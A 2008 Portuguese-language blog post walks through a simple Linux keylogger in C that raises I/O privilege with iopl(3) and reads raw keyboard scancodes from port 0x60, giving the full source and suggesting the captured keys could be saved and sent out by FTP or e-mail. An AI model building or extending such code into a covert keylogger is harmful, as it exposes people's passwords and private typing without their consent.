quarta-feira, 30 de julho de 2008

Bem,
andei dando uma pesquizada em keyloggers para linux e achei programinhas interessantes.
O objetivo de um keylogger é capturar todas as teclas digitadas. Tudo isso para ter bom um monitoramente do computador.
O keylogger aqui apresentando fica "pegando" os valores que é passado na porta do teclado.
Bem a porta que o teclado utiliza é a porta 0x60, no arquivo /proc/ioports você consegue visualizar todas as portas abertas, por isso declaramos porta como 0x60.
int porta = 0x60;

Depois criamos um loop infinito para pegar todo que é passado na porta, logo em seguinda mudamos o nível de privilégio do processo atual, com a função iopl, para o nível mais alto. Com isso ganho acesso irrestrito a qualquer porta.

iopl(3);

Logo em seguinda usamos a função inb que pega o valor da largura de um byte e é colocado em c.
c = inb(porta);

Aqui apenas imprimo o valor da tecla.

printf("key=%d n", c);

Suspende a execução do processador por um determinado tempo 1 seguindo.
usleep(1000);

Esse código é apenas para efeito de estudo, poderiamos gravar todos as teclas em arquivos, e posteriormente tá enviando para um FTP ou E-mail.

O código completo.
//Teste keyloger
#include <stdio.h>
#include <sys/io.h>
int main() {
unsigned char c;
int porta = 0x60;
while(1) {
iopl(3);
c = inb(porta);
printf("key=%d n", c);
usleep(1000);
}
return(0);
}

Como podemos ver esse tipo de keylogger é algo bem simples...
Abaixo alguns links de keyloggers.

Nenhum comentário: